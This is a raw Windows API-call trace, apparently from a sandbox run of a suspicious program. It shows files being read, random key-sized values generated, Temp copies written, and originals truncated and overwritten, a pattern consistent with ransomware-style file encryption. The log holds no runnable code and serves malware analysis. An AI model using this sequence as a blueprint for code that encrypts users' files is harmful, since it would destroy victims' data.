	[0237.394] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2070\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2c8ea38f, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x10af)) returned 1
	[0237.417] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.417] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.418] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0237.443] SetEvent (hEvent=0x17c) returned 1
	[0237.444] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3076" (normalized: "c:\\588bce7c90097ed212\\3076"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0237.444] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076" (normalized: "c:\\588bce7c90097ed212\\3076"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.444] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd4c0
	[0237.444] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0237.445] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2c916316, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x19a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0237.445] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0237.445] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0237.445] FindNextFileW (in: hFindFile=0x192c63cd4c0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0237.445] FindClose (in: hFindFile=0x192c63cd4c0 | out: hFindFile=0x192c63cd4c0) returned 1
	[0237.446] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.446] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90)) returned 1
	[0237.446] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.446] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3076\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758)) returned 1
	[0237.447] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.447] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2c916316, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x19a5)) returned 1
	[0237.447] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.447] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.448] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0237.512] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0237.752] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0243.142] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0243.238] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1af9c24, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1af9c24, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x30d3a)) returned 1
	[0243.239] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0243.239] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0243.239] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0243.305] SetEvent (hEvent=0x1a0) returned 1
	[0243.305] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0243.313] SetEvent (hEvent=0x190) returned 1
	[0243.313] SetEvent (hEvent=0x1a0) returned 1
	[0243.313] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0243.441] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0243.492] SetEvent (hEvent=0x1a0) returned 1
	[0243.492] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc000211d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000211d94, lpOverlapped=0x0) returned 0
	[0243.492] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0xa3, lpNumberOfBytesWritten=0xc000211d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000211d94, lpOverlapped=0x0) returned 0
	[0243.493] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0243.493] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000211bf4 | out: lpMode=0xc000211bf4) returned 0
	[0243.493] GetFileType (hFile=0x19c) returned 0x1
	[0243.493] GetFileType (hFile=0x19c) returned 0x1
	[0243.493] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc000211c44 | out: lpFileInformation=0xc000211c44) returned 1
	[0243.494] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc000211c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000211c28) returned 1
	[0243.494] ReadFile (in: hFile=0x19c, lpBuffer=0xc00011c000, nNumberOfBytesToRead=0x2c8cc, lpNumberOfBytesRead=0xc000211b04, lpOverlapped=0x0 | out: lpBuffer=0xc00011c000*, lpNumberOfBytesRead=0xc000211b04*=0x2c6cc, lpOverlapped=0x0) returned 1
	[0243.521] ReadFile (in: hFile=0x19c, lpBuffer=0xc0001486cc, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000211b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001486cc*, lpNumberOfBytesRead=0xc000211b04*=0x0, lpOverlapped=0x0) returned 1
	[0243.521] CloseHandle (hObject=0x19c) returned 1
	[0243.521] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e320 | out: pbBuffer=0xc00000e320) returned 1
	[0243.521] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c0a0 | out: pbBuffer=0xc00028c0a0) returned 1
	[0243.521] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00023c101 | out: pbBuffer=0xc00023c101) returned 1
	[0243.522] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c53f7e2891d3f22f88538990c850dc30" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c53f7e2891d3f22f88538990c850dc30"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0243.523] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0000c9c04 | out: lpMode=0xc0000c9c04) returned 0
	[0243.523] GetFileType (hFile=0x19c) returned 0x1
	[0243.523] WriteFile (in: hFile=0x19c, lpBuffer=0xc0002ce000*, nNumberOfBytesToWrite=0x2c7cc, lpNumberOfBytesWritten=0xc0000c9bec, lpOverlapped=0x0 | out: lpBuffer=0xc0002ce000*, lpNumberOfBytesWritten=0xc0000c9bec*=0x2c7cc, lpOverlapped=0x0) returned 1
	[0243.532] CloseHandle (hObject=0x19c) returned 1
	[0243.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0243.543] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi\\*", lpFindFileData=0xc0000c9a78 | out: lpFindFileData=0xc0000c9a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0243.544] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\c53f7e2891d3f22f88538990c850dc30" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\c53f7e2891d3f22f88538990c850dc30")) returned 1
	[0243.554] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0243.635] SetEvent (hEvent=0x190) returned 1
	[0243.635] VirtualFree (lpAddress=0xc000806000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0243.635] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0243.720] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0243.829] SetEvent (hEvent=0x190) returned 1
	[0243.829] VirtualFree (lpAddress=0xc000800000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0243.829] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0243.951] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0244.038] SetEvent (hEvent=0x190) returned 1
	[0244.038] VirtualFree (lpAddress=0xc0007f8000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.038] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0244.119] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0244.124] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0244.135] SetEvent (hEvent=0x1a0) returned 1
	[0244.135] SetEvent (hEvent=0x190) returned 1
	[0244.135] VirtualFree (lpAddress=0xc0007ea000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.135] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0244.218] SetEvent (hEvent=0x190) returned 1
	[0244.218] SetEvent (hEvent=0x1a0) returned 1
	[0244.218] VirtualFree (lpAddress=0xc0007e6000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.219] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0244.234] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0244.304] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0) returned 0
	[0244.304] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x8e, lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0) returned 0
	[0244.306] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0244.306] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e3bf4 | out: lpMode=0xc0001e3bf4) returned 0
	[0244.307] GetFileType (hFile=0x19c) returned 0x1
	[0244.307] GetFileType (hFile=0x19c) returned 0x1
	[0244.307] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0001e3c44 | out: lpFileInformation=0xc0001e3c44) returned 1
	[0244.307] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0001e3c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001e3c28) returned 1
	[0244.307] ReadFile (in: hFile=0x19c, lpBuffer=0xc000064b40, nNumberOfBytesToRead=0x22e, lpNumberOfBytesRead=0xc0001e3b04, lpOverlapped=0x0 | out: lpBuffer=0xc000064b40*, lpNumberOfBytesRead=0xc0001e3b04*=0x2e, lpOverlapped=0x0) returned 1
	[0244.308] ReadFile (in: hFile=0x19c, lpBuffer=0xc000064b6e, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001e3b04, lpOverlapped=0x0 | out: lpBuffer=0xc000064b6e*, lpNumberOfBytesRead=0xc0001e3b04*=0x0, lpOverlapped=0x0) returned 1
	[0244.308] CloseHandle (hObject=0x19c) returned 1
	[0244.309] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e960 | out: pbBuffer=0xc00000e960) returned 1
	[0244.309] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c620 | out: pbBuffer=0xc00028c620) returned 1
	[0244.309] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0001b6a01 | out: pbBuffer=0xc0001b6a01) returned 1
	[0244.309] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cc381b4dc11aa3fb6641b39158d28ea9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cc381b4dc11aa3fb6641b39158d28ea9"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0244.310] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e3c04 | out: lpMode=0xc0001e3c04) returned 0
	[0244.310] GetFileType (hFile=0x19c) returned 0x1
	[0244.310] WriteFile (in: hFile=0x19c, lpBuffer=0xc00010c000*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0xc0001e3bec, lpOverlapped=0x0 | out: lpBuffer=0xc00010c000*, lpNumberOfBytesWritten=0xc0001e3bec*=0x12e, lpOverlapped=0x0) returned 1
	[0244.311] CloseHandle (hObject=0x19c) returned 1
	[0244.315] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0244.323] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0001e3d74 | out: lpMode=0xc0001e3d74) returned 0
	[0244.323] GetFileType (hFile=0x19c) returned 0x1
	[0244.323] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cc381b4dc11aa3fb6641b39158d28ea9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cc381b4dc11aa3fb6641b39158d28ea9"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1a8
	[0244.324] GetConsoleMode (in: hConsoleHandle=0x1a8, lpMode=0xc0001e3d74 | out: lpMode=0xc0001e3d74) returned 0
	[0244.324] GetFileType (hFile=0x1a8) returned 0x1
	[0244.324] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000110000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e3bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000110000*, lpNumberOfBytesRead=0xc0001e3bd4*=0x12e, lpOverlapped=0x0) returned 1
	[0244.324] WriteFile (in: hFile=0x19c, lpBuffer=0xc000110000*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0xc0001e3b74, lpOverlapped=0x0 | out: lpBuffer=0xc000110000*, lpNumberOfBytesWritten=0xc0001e3b74*=0x12e, lpOverlapped=0x0) returned 1
	[0244.325] ReadFile (in: hFile=0x1a8, lpBuffer=0xc000110000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001e3bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000110000*, lpNumberOfBytesRead=0xc0001e3bd4*=0x0, lpOverlapped=0x0) returned 1
	[0244.325] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cc381b4dc11aa3fb6641b39158d28ea9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cc381b4dc11aa3fb6641b39158d28ea9")) returned 0
	[0244.326] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cc381b4dc11aa3fb6641b39158d28ea9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cc381b4dc11aa3fb6641b39158d28ea9")) returned 0
	[0244.326] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cc381b4dc11aa3fb6641b39158d28ea9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cc381b4dc11aa3fb6641b39158d28ea9")) returned 0x20
	[0244.326] CloseHandle (hObject=0x1a8) returned 1
	[0244.327] CloseHandle (hObject=0x19c) returned 1
	[0244.366] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\cc381b4dc11aa3fb6641b39158d28ea9" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\cc381b4dc11aa3fb6641b39158d28ea9")) returned 1
	[0244.369] SetEvent (hEvent=0xfc) returned 1
	[0244.369] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc000279d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000279d94, lpOverlapped=0x0) returned 0
	[0244.369] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x9f, lpNumberOfBytesWritten=0xc000279d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000279d94, lpOverlapped=0x0) returned 0
	[0244.369] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0244.370] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000279bf4 | out: lpMode=0xc000279bf4) returned 0
	[0244.370] GetFileType (hFile=0x19c) returned 0x1
	[0244.370] GetFileType (hFile=0x19c) returned 0x1
	[0244.370] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc000279c44 | out: lpFileInformation=0xc000279c44) returned 1
	[0244.370] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc000279c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000279c28) returned 1
	[0244.370] VirtualAlloc (lpAddress=0xc0002fc000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002fc000
	[0244.375] ReadFile (in: hFile=0x19c, lpBuffer=0xc0002fc000, nNumberOfBytesToRead=0x2391c, lpNumberOfBytesRead=0xc000279b04, lpOverlapped=0x0 | out: lpBuffer=0xc0002fc000*, lpNumberOfBytesRead=0xc000279b04*=0x2371c, lpOverlapped=0x0) returned 1
	[0244.404] ReadFile (in: hFile=0x19c, lpBuffer=0xc00031f71c, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000279b04, lpOverlapped=0x0 | out: lpBuffer=0xc00031f71c*, lpNumberOfBytesRead=0xc000279b04*=0x0, lpOverlapped=0x0) returned 1
	[0244.405] CloseHandle (hObject=0x19c) returned 1
	[0244.405] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000eba0 | out: pbBuffer=0xc00000eba0) returned 1
	[0244.405] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c7d0 | out: pbBuffer=0xc00028c7d0) returned 1
	[0244.405] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0001b6f01 | out: pbBuffer=0xc0001b6f01) returned 1
	[0244.406] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e0db447d2675388f536b6501547ac9af" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e0db447d2675388f536b6501547ac9af"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0244.406] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000279c04 | out: lpMode=0xc000279c04) returned 0
	[0244.406] GetFileType (hFile=0x19c) returned 0x1
